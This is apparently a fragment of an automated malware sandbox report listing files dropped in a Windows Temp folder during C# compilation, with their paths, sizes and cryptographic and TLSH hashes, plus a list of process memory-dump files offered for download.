m2chxvzc.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.cmdline
Size 369B
SHA256 b47a27661ce2a0b1db9b101b91ec0027b626f1b9190d240ae088fa420da0e9f9
MD5 3731c1ed10a6d95e0712d85a7df1605c
SHA1 cf1418e61e0f0531df936996488608563baa603c
SHA512 797d495bfe824073e3f4e5553410411dadfb767efab37c11e201c1c940c1c042f774ad14870d9e5d4b08c20e4ee86e4dba46cf6cd41d479e7ba32ac3a3943f19
TLSH
T1D8E0D83B7256C67D96D924072AA9C5EC82720747394A7FE8D9508C5DE01B00467D1F96
MD5 SHA1 SHA512 TLSH

Submit Download

CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP
Size 652B
SHA256 2be9582c7b9c23fa0d7885cf84bec950c9f231dd60b8cb4af068d556b7e8a029
MD5 48df2df283bcc754154198e90de3e57e
SHA1 9239324d3e195894f1ae6a057499863ff2c44fa7
SHA512 7ca4147558489107b751e0133cbab4114717b9306b19065542e27f8f013d9d0b2aefb5f589d6694dfb6494e7e41cd13baff9a33c142b190ddcc8e782d57fca8e
TLSH
T18EF05E19A7F8020EF0F74B30BEF643A391A8BC64DE3293ED145403196C646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xd1eab4p.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.0.cs
Size 343B
SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
MD5 0c81806dea6e0124dad77a909229236d
SHA1 08ed23a328b1c243ec01bde0a6b27d1e1ce9afdc
SHA512 3638f3782922541a6a44fd2d82f7f7fce6879442354da34d18e400f0538bca815f1c17ba7701600292c03e61ed44a6c0989f7fec19ead565f9c3ba53d3b958a0
TLSH
T1DBE026E813BAAF1450224382DC0080A9FAA35039533BD250B9DDD2147FBE4188235F19
MD5 SHA1 SHA512 TLSH

Submit Download

xd1eab4p.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.cmdline
Size 369B
SHA256 5a406980608d2993bd975ef5a350133af82da2f82dea4219bfabe45e65c88b93
MD5 33075a71560cc7f37430281b3c4a5bcb
SHA1 b29dd840bdc6929af04cfd1286b722371e5faefd
SHA512 474c3e8ef47b19e527908754efe5dc454b654c95050f63993c7a221902190f0d3a434df9608ac314df0c6cef4d90720d9a277f1027c81bb580b0c1e46ebcbed3
TLSH
T16DE0682B426AC2FD12D910072179EBACC6B21AD329407F846888882DD017000E7D1799
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1568-67-0x0000013EC9C30000-0x0000013EC9DA6000-memory.dmp

Download

memory/1568-1-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download

memory/1568-40-0x0000013EC9A40000-0x0000013EC9A48000-memory.dmp

Download

memory/1568-66-0x0000013EC9AA0000-0x0000013EC9AA8000-memory.dmp

Download

memory/1568-23-0x0000013EC99D0000-0x0000013EC99D8000-memory.dmp

Download

memory/1568-53-0x0000013EC9A50000-0x0000013EC9A58000-memory.dmp

Download

memory/1568-68-0x0000013ECA3C0000-0x0000013ECA5CA000-memory.dmp

Download

memory/1568-10-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download

memory/1568-2-0x0000013EC9330000-0x0000013EC9352000-memory.dmp

Download

memory/1568-98-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download

memory/1568-97-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download

memory/1568-99-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download

memory/1568-0-0x0000013EC7140000-0x0000013EC7150000-memory.dmp

Download